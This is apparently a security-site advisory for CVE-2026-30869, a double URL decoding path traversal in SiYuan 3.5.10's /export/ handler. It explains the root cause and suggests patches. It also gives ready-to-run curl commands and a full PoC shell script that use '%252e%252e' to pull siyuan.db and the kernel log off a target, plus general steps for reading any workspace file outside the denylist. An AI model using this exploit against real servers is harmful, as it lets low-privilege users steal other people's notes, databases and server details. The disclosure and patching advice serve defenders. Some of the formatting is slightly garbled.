Listen to this Post
The CVE-2026-30869 vulnerability exists in SiYuan v3.5.10 due to a double URL decoding flaw in the `/export/` handler. Go’s HTTP server automatically decodes percent-encoded characters once when parsing the request. However, the `serveExport()` function in `kernel/server/serve.go` (lines 314-320) additionally calls `url.PathUnescape()` on the path. An attacker sends a request like GET /export/%252e%252e/siyuan.db. The first decode by Go turns `%25` into %, resulting in /export/%2e%2e/siyuan.db. The path cleaner treats `%2e%2e` as literal characters, not .., so no redirect occurs. Then `url.PathUnescape(“%2e%2e”)` decodes to ... `filepath.Join(exportBaseDir, “../siyuan.db”)` resolves to <workspace>/temp/siyuan.db. The fix added `IsSensitivePath()` which blocks `/etc, /root), but it does NOT block `<workspace>/temp/blocktree.db, `<workspace>/temp/asset_content.db. The `/appearance/` handler correctly uses `gulu.File.IsSubPath()` (line 447), but this validation is missing in /export/. An authenticated low-privilege user (e.g., Publish/Reader) can therefore read arbitrary workspace files.
dailycve form:
Platform: SiYuan Platform
Version: 3.5.10
Vulnerability: Double URL Decode
Severity: High
date: 2026-04-23
Prediction: Patch by 2026-05-15
What Undercode Say:
Exploit double URL encoding to read siyuan.db
curl -X GET "http://target:6806/export/%252e%252e/siyuan.db" -H "Cookie: session=..."
Download kernel log
curl "http://target:6806/export/%252e%252e/temp/siyuan.log" -H "Cookie: session=..."
Full PoC script (poc.sh)
!/bin/bash
HOST="http://localhost:6806"
COOKIE="your_auth_cookie"
curl -s "${HOST}/export/%252e%252e/siyuan.db" -H "Cookie: ${COOKIE}" -o exfil.db
curl -s "${HOST}/export/%252e%252e/temp/siyuan.log" -H "Cookie: ${COOKIE}" -o kernel.log
Exploit:
Send authenticated GET requests to `/export/%252e%252e/` followed by any file path relative to workspace root. Use double-encoded `%252e%252e` to traverse out of `exportBaseDir` and read temp/siyuan.db, temp/siyuan.log, `conf/` bypass except denylist, or any file not matching `IsSensitivePath()` denylist.
Protection from this CVE:
Remove the redundant `url.PathUnescape()` call in serveExport(). Replace denylist with allowlist or use `filepath.IsLocal()` plus `filepath.Clean` and ensure the final path is within exportBaseDir. Apply the same `gulu.File.IsSubPath()` validation used in `/appearance/` handler. Update to a patched version once available (expected after 2026-05-15).
Impact:
- Full SQLite database (
siyuan.db) exfiltration – all blocks, documents, attributes, full-text search indexes. - Block tree database (
blocktree.db) and asset content database (asset_content.db) exposure. - Kernel log (
siyuan.log) leaks internal server paths, versions, config details, error messages. - Complete compromise of workspace confidentiality by any authenticated user, including low-privilege Publish/Reader roles.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

